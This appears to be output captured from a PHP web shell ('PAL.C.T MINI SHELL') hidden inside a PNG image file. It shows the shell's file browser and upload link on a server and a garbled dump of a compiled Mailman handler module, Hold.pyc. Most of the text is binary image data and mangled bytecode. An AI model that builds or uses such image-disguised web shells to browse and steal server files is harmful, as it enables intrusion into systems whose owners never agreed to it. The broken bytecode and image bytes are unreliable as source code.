php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/Hold.pyc

Pc@sdZddkZddklZddklZddkZddklZddk	l
Z
ddk	lZddk	lZdd	k	l
Z
dd
k	lZddk	lZddklZd
ZdeifdYZdeifdYZdeifdYZdeifdYZdeifdYZdeifdYZdeifdYZdeifdYZdeifdYZd efd!YZeiZd"Zd#Zd$Z dS(%sSDetermine whether this message should be held for approval.

This modules tests only for hold situations, such as messages that are too
large, messages that have potential administrivia, etc.  Definitive approvals
or denials are handled by a different module.

If no determination can be made (i.e. none of the hold criteria matches), then
we do nothing.  If the message must be held for approval, then the hold
database is updated and any administrator notification messages are sent.
Finally an exception is raised to let the pipeline machinery know that further
message handling should stop.
iN(tMIMEText(tMIMEMessage(t	ClassType(tmm_cfg(tUtils(tErrors(tMessage(ti18n(tPending(tsyslogcCs|S(N((ts((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyt_/stForbiddenPostercBs eZedZedZRS(sSender is explicitly forbiddens5You are forbidden from posting messages to this list.(t__name__t
__module__Rtreasont	rejection(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR4st
ModeratedPostcBs eZedZedZRS(sPost to moderated lists7Your message was deemed inappropriate by the moderator.(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR8st
NonMemberPostcBs eZedZedZRS(s)Post by non-member to a members-only lists:Non-members are not allowed to post messages to this list.(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR<stNotExplicitlyAllowedcBs eZedZedZRS(s8Posting to a restricted list by sender requires approvals7This list is restricted; your message was not approved.(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR@stTooManyRecipientscBs eZedZedZRS(s"Too many recipients to the messages/Please trim the recipient list; it is too long.(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyRDstImplicitDestinationcBs eZedZedZRS(s Message has implicit destinationsBlind carbon copies or other implicit destinations are
not allowed.  Try reposting your message by explicitly including the list
address in the To: or Cc: fields.(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyRHst
AdministriviacBseZedZdZRS(s!Message may contain administriviacCs+|iddd}|i}tdS(NtlistinfotabsoluteisPlease do *not* post administrative requests to the mailing
list.  If you wish to subscribe, visit %(listurl)s or send a message with the
word `help' in it to the request address, %(request)s, for further
instructions.(tGetScriptURLtGetRequestEmailR(tselftmlisttlisturltrequest((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pytrejection_noticeQs(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyRNstSuspiciousHeaderscBs eZedZedZRS(sMessage has a suspicious headers%Your message had a suspicious header.(R
RRRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR Yst
MessageTooBigcBs#eZdZdZdZRS(cCs||_||_dS(N(t_MessageTooBig__msgsizet_MessageTooBig__limit(Rtmsgsizetlimit((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyt__init__^s	cCs|i}|i}tdS(NsDMessage body is too big: %(size)d bytes with a limit of
%(limit)d KB(R"R#R(RtsizeR%((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyt
reason_noticebs		cCs|i}tdS(NsHYour message was too big; please trim it to less than
%(kb)d KB in size.(R#R(RRtkb((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyRhs	(R
RR&R(R(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR!]s		tModeratedNewsgroupcBseZedZRS(s Posting to a moderated newsgroup(R
RRR(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR*mscCsS|iddi}|iddi}|djo|d
jodSd	S(Nsx-acktt
precedencetyestbulktjunktlistii(R.R/slist(tgettlower(tmsgtackR,((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pytackpws
cCs|idodS|i}|d}|i}|p|t|d |jo|idd}n|io'ti|ot|||tn|i	djo_t
ii|idg|idg}t||i	jot|||t
qn|io9|i|o(|idot|||tn|io1|i|}|ot|||tqn|idjod}x*t
ii|D]}	|t|	7}qWxV|iD]H}
|
io|t|
i7}n|
io|t|
i7}qqW|d	|ijo#t|||t||iqen|io'|id
jot|||tndS(Ntapproveds-adminituse_envelopeittotcct
fromusenetg@i(R1t
internal_namet
get_sendertlent
administriviaRtis_administriviathold_for_approvalRtmax_num_recipientstemailtgetaddressestget_allRtrequire_explicit_destinationtHasExplicitDestRtbounce_matching_headersthasMatchingHeaderR tmax_message_sizet	Iteratorstbody_line_iteratortwalktpreambletepilogueR!tgateway_to_newstnews_moderationR*(RR3tmsgdatatlistnamet	adminaddrtsendertrecipst	triggeredtbodylentlinetpart((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pytprocesssL
#




cCs	t|tpt|tto
|}n|i}|id|i}|id}ti|i}|oti	||}n
t
d}|idd}|i}	|i}
|i
}ti|i}ti|i||d<|i|||}
h|d6|id6t
|d	6|d6|d6|id
ddd
6}|id}|iti|
}|ot|o|io|i||i|od|iddd|f|d<|id|i|}t
d}tid|d|d|}ti||
|||}|i|n|iot i!}t i"|izV|i}ti|}t
||d	<||d<t
d}ti|	|	|d|}|i#dt$tid|ddd|d|}t$tit
ddti|}d||d<||d<||d<t%ii&d t'|d!<ti(||d"<|i)||i)t*||i)t*||i|hdd#6Wdt i+|Xnt,d$d%|||||dS(&NRTtsubjects(no subject)s
message-idsn/aRRRthostnameRtadmindbRitadmindb_urlR:s%s/%stconfirmt
confirmurltlangs6Your message to %(listname)s awaits moderator approvalspostheld.txtRs3%(listname)s post from %(sender)s requires approvalsmultipart/mixedspostauth.txttrawt_charsetsmIf you reply to this message, keeping the Subject: header intact, Mailman will
discard the held message.  Do this if the message is spam.  If you reply to
this message and include an Approved: header with the list password in it, the
message will be approved for posting to the list.  The Approved: header can
also appear in the first line of the body of the reply.sconfirm tSubjecttSendertFromt	localtimetDates
Message-IDttomoderatorstvettes'%s post from %s held, message-id=%s: %s(-t
isinstanceRttypet	real_nameR1R<Rt
GetCharSettpreferred_languagetonelineRt
GetOwnerEmailtGetBouncesEmailRtwrapR(RtHoldMessaget	host_nameRtpend_newRtHELD_MESSAGER5trespond_to_post_requeststautorespondToSendertgetMemberLanguagetmaketextRtUserNotificationtsendtadmin_immed_notifyRtget_translationtset_languagetset_typeRRBt
formatdatetTruetunique_message_idtattachRtset_translationR	(RR3RQtexcRRRTtusersubjecttcharsett
message_idt	owneraddrRStrequestaddrRtidtdR:tcookieRaR[ttexttnmsgtotranslationtdmsg((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyR@s	&
	



	
	
	


	(!t__doc__RBtemail.MIMETextRtemail.MIMEMessageRtemail.UtilsttypesRtMailmanRRRRRRtMailman.Logging.SyslogR	RRtRRRRRRRR R!R*R5RZR@(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Hold.pyt<module>s6					D
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`